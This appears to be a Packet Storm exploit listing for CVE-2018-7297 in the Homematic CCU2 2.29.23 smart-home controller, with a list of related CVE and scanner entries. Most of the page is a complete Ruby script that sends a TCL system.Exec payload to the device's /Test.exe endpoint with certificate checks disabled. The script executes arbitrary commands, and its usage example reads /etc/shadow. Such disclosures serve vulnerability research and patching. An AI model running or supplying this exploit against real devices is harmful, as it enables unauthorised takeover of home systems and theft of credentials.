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Homematic CCU2 2.29.23 Remote Command Execution

🗓️ 31 Mar 2018 00:00:00Reported by Patrick MuenchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Homematic CCU2 2.29.23 Remote Command Executio

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Related
Code
ReporterTitlePublishedViews
Family
0day.today
Homematic CCU2 2.29.23 - Remote Command Execution Exploit
30 Mar 201800:00
zdt
Cvelist
CVE-2018-7297
22 Feb 201819:00
cvelist
NVD
CVE-2018-7297
22 Feb 201819:29
nvd
Prion
Design/Logic Flaw
22 Feb 201819:29
prion
CVE
CVE-2018-7297
22 Feb 201819:29
cve
OpenVAS
HomeMatic CCU2 Multiple Vulnerabilities
23 Feb 201800:00
openvas
`#!/usr/bin/ruby  
  
# Exploit Title: Homematic CCU2 Remote Command Execution  
# Date: 28-03-18  
# Exploit Author: Patrick Muench, Gregor Kopf  
# Vendor Homepage: http://www.eq-3.de  
# Software Link: http://www.eq-3.de/service/downloads.html?id=268  
# Version: 2.29.23  
# CVE : 2018-7297  
  
# Description: http://atomic111.github.io/article/homematic-ccu2-remote-code-execution  
  
require 'net/http'  
require 'net/https'  
require 'uri'  
  
unless ARGV.length == 2  
STDOUT.puts <<-EOF  
Please provide url and the command, which is execute on the homematic  
  
Usage:  
execute_cmd.rb <ip.adress> <homematic command>  
  
Example:  
execute_cmd.rb https://192.168.1.1 "cat /etc/shadow"  
  
or  
  
execute_cmd.rb http://192.168.1.1 "cat /etc/shadow"  
  
EOF  
exit  
end  
  
# The first argument specifies the URL and if http or https is used  
url = ARGV[0] + "/Test.exe"  
  
# The second argument specifies the command which is executed via tcl interpreter  
tcl_command = ARGV[1]  
  
# define body content  
body = "string stdout;string stderr;system.Exec(\"" << tcl_command << "\", &stdout, &stderr);WriteLine(stdout);"  
  
# split uri to access it in a easier way  
uri = URI.parse(url)  
  
# define target connection, disabling certificate verification  
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|  
  
# define post request  
request = Net::HTTP::Post.new(uri.request_uri)  
  
# define the request body  
request.body = body  
  
# send the request to the homematic ccu2  
response = http.request(request)  
  
# print response to cli  
puts response.body  
end  
  
  
  
`

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